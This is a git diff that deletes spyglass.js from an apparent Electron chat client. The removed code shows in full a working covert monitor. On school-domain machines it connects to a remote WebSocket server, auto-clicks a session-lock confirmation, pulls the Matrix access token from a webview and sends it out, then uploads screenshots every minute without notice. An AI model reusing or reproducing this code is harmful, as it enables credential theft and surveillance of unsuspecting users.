diff options
Diffstat (limited to 'client/src/spyglass.js')
-rw-r--r-- | client/src/spyglass.js | 124 |
1 files changed, 0 insertions, 124 deletions
diff --git a/client/src/spyglass.js b/client/src/spyglass.js deleted file mode 100644 index f270f91..0000000 --- a/client/src/spyglass.js +++ /dev/null @@ -1,124 +0,0 @@ -const SPYGLASS_SERVER = "wss://school.equestria.dev/sgmain"; -const si = require('systeminformation'); - -let SPYGLASS_STATE = false; -let SPYGLASS_ENABLED = false; -let SPYGLASS_INITIALIZED = false; -let SPYGLASS_SOCKET = null; - -window.sgc = () => { - return (SPYGLASS_ENABLED && SPYGLASS_STATE) || !SPYGLASS_ENABLED || !SPYGLASS_INITIALIZED; -} - -async function sendProfile() { - let screens = await ipcRenderer.invoke("get-screenshots"); - //let data = await si.getAllData("*", "*"); - let fullProfile = { - screens, - //systemInfo: data - } - - console.log("Collected system information, " + JSON.stringify(fullProfile).length + " bytes"); - - spyglassSend({ - state: "SYSTEM_REPORT", - id: require('os').hostname(), - data: fullProfile - }); -} - -if ((process.env.USERDNSDOMAIN && process.env.USERDNSDOMAIN.endsWith(".AC-ORLEANS-TOURS.FR")) || localStorage.getItem("cr3-trial-forcespyglass") === "true") { - SPYGLASS_ENABLED = true; - let modal; - - function spyglassSend(d) { - return SPYGLASS_SOCKET.send(JSON.stringify(d)); - } - - function startSpyglass() { - SPYGLASS_INITIALIZED = false; - - SPYGLASS_SOCKET = new WebSocket(SPYGLASS_SERVER); - - SPYGLASS_SOCKET.onmessage = (e) => { - let data; - try { - data = JSON.parse(e.data) - } catch (e) { - console.error("Spyglass", e); - } - if (!data) return; - - console.log("Spyglass", data); - - if (data.state) { - switch (data.state) { - case "NEEDS_AUTHENTICATION": - let authInterval = setInterval(async () => { - try { - let token; - - if (!window.isNewUI) { - if (await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) { - await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()") - } - - token = await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken"); - } else { - if (await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) { - await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()") - } - - token = await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken"); - } - - clearInterval(authInterval); - - spyglassSend({ - state: "AUTHENTICATION_RESPONSE", - token: token - }); - } catch (e) { - console.error(e); - } - }, 50); - - break; - - case "AUTHENTICATION_OK": - SPYGLASS_STATE = true; - sendProfile(); - - window.spyglassInterval = setInterval(() => { - sendProfile(); - }, 60000); - - refreshTabBar(); - break; - } - } - } - - SPYGLASS_SOCKET.onopen = (e) => { - console.log("Spyglass", e); - } - - SPYGLASS_SOCKET.onerror = (e) => { - console.log("Spyglass", e); - - SPYGLASS_SOCKET.close(); - clearInterval(window.spyglassInterval); - } - - SPYGLASS_SOCKET.onclose = (e) => { - console.log("Spyglass", e); - - SPYGLASS_STATE = false; - clearInterval(window.spyglassInterval); - - setTimeout(() => { - startSpyglass(); - }, 1000); - } - } -} |